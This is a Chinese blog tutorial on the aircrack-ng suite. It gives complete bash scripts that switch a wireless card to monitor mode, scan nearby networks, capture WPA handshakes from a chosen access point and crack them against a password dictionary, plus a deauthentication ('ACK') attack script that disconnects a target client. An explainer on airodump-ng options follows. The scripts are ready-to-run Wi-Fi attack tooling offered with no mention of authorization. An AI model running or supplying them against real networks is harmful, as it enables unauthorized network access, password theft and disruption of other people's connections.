airodump-ng、aircrack-ng使用教程

这篇博客介绍了如何编写shell脚本实现Linux和Darwin系统的网络监听、网络扫描与抓取握手包,同时展示了如何进行ACK攻击。它详细展示了从启动网卡监听到密码破解的完整流程,并涉及了网络安全和渗透测试的概念。

目录

1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

2. ack攻击


1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin

#!/bin/bash

# 启动网卡监听模式,传入系统版本
startWlanMonitor(){
    if [ $1 = "Linux" ]
    then
        if [ -z `iwconfig | awk '{if($1=="wlan0mon") print $1}'`]
        then
            airmon-ng start wlan0
        fi
    else
        echo "start Darwin wlanMonitor "
    fi
}

# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
startScanner(){ 
    if [ $1 = "Linux" ]
    then
        airodump-ng wlan0mon 
    else
        /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s
    fi
}

# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控,传入系统版本
startAirodump(){
    if [ $1 = "Linux" ]
    then
        read -p "input BSSID > " inputBssid
        read -p "input CHANNEL > " inputChannel
        airodump-ng -c $inputChannel --bssid $inputBssid -w ./handshake wlan0mon
    else
        read -p "input CHANNEL > " inputChannel
        /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff $inputChannel
    fi
}

###############################################################
# 主函数方法
###############################################################

echo "*************************************************************"
# 系统检查, 支持Linux和Darwin
system='Linux'
[ `uname` != $system ] && system='Darwin'
echo "system version:" $system
# 创建临时文件夹
[ ! -d "./tmp" ] && mkdir ./tmp
cd tmp
echo "*************************************************************"
# 选择开启监控或者只分析handshake文件,默认只分析handshake文件
read -p "only analyzing handshake file or airmon 1/2 > " inputChoose
if [ "$inputChoose" = "2" ]
then
    echo "*************************************************************"
    # 启动网卡的监听模式,传入系统版本
    startWlanMonitor $system
    echo "*************************************************************"
    # 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
    startScanner $system
    echo "*************************************************************"
    # 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控
    startAirodump $system
fi
echo "*************************************************************"
# 开始密码破解
read -p "start analyzing handshake file, y/n > " inputAsk
if [ "$inputAsk" = "y" -o "$inputAsk" = "Y" -o -z "$inputAsk" ]
then
    cp /tmp/*.cap ./
    aircrack-ng -w ../数据字典.txt ./*.cap
fi
echo "*************************************************************"
echo "exec over !!!"

2. ack攻击

#!/bin/bash
# 执行ACK攻击
echo "*************************************************************"
echo "ack attack "
echo "aireplay-ng -0 10 -a BSSID -c STATION wlan0mon"
echo "*************************************************************"
read -p "input BSSID > " BSSID
read -p "input STATION > " STATION
aireplay-ng -0 10 -a $BSSID -c $STATION wlan0mon

### 命令作用 `sudo airodump-ng wlan0mon` 是一个在 Linux 系统中用于无线网络扫描的命令。`airodump-ng` 是一款强大的无线网络数据包捕获工具,它可以收集无线网络的各种信息,如接入点(AP)的基本服务集标识符(BSSID)、信道、信号强度、加密方式等,以及连接到这些接入点的客户端信息。`wlan0mon` 是无线网卡的监控模式接口名称,当无线网卡处于监控模式时,它可以捕获空气中的所有无线数据包,而不仅仅是与当前连接的网络相关的数据包。 ### 使用方法 #### 前提条件 - 系统中需要安装 `aircrack-ng` 套件,因为 `airodump-ng` 是该套件的一部分。可以使用以下命令进行安装: ```bash sudo apt-get install aircrack-ng ``` - 无线网卡需要支持监控模式,并且已经将其设置为监控模式。可以使用以下命令将无线网卡 `wlan0` 设置为监控模式: ```bash sudo airmon-ng start wlan0 ``` 执行上述命令后,无线网卡将被重命名为 `wlan0mon`。 #### 执行命令 在满足前提条件后,使用以下命令开始扫描无线网络: ```bash sudo airodump-ng wlan0mon ``` 执行该命令后,`airodump-ng` 会开始扫描周围的无线网络,并在终端中实时显示扫描结果。扫描结果通常包括以下信息: - **BSSID**:接入点的 MAC 地址。 - **PWR**:信号强度,负值越大表示信号越弱。 - **Beacons**:接入点发送的信标帧数量。 - **#Data**:捕获到的数据包数量。 - **CH**:接入点使用的信道。 - **MB**:接入点支持的最大数据速率。 - **ENC**:接入点使用的加密方式,如 WPA2、WEP 等。 - **CIPHER**:加密算法。 - **AUTH**:认证方式。 - **ESSID**:接入点的名称。 #### 常用参数 - `-c <channel>`:指定扫描的信道。例如,只扫描第 6 信道的无线网络: ```bash sudo airodump-ng -c 6 wlan0mon ``` - `--bssid <BSSID>`:只扫描指定 BSSID 的接入点。例如,只扫描 BSSID 为 `00:11:22:33:44:55` 的接入点: ```bash sudo airodump-ng --bssid 00:11:22:33:44:55 wlan0mon ``` - `-w <filename>`:将扫描结果保存到指定的文件中。例如,将扫描结果保存到 `output` 文件中: ```bash sudo airodump-ng -w output wlan0mon ``` ### 可能出现的问题及解决办法 #### 扫描不到网络 - **原因**:无线网卡不支持监控模式,或者监控模式设置失败;无线网卡驱动问题;周围没有可用的无线网络。 - **解决办法**:检查无线网卡是否支持监控模式,并尝试重新设置监控模式;更新无线网卡驱动;更换扫描位置,确保周围有可用的无线网络。 #### 命令执行权限问题 - **原因**:没有使用 `sudo` 以管理员权限执行命令。 - **解决办法**:在命令前加上 `sudo`,或者使用 `root` 用户执行命令。 #### 扫描结果不准确 - **原因**:信号干扰;无线网卡性能不佳。 - **解决办法**:更换扫描位置,避免信号干扰;更换性能更好的无线网卡。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值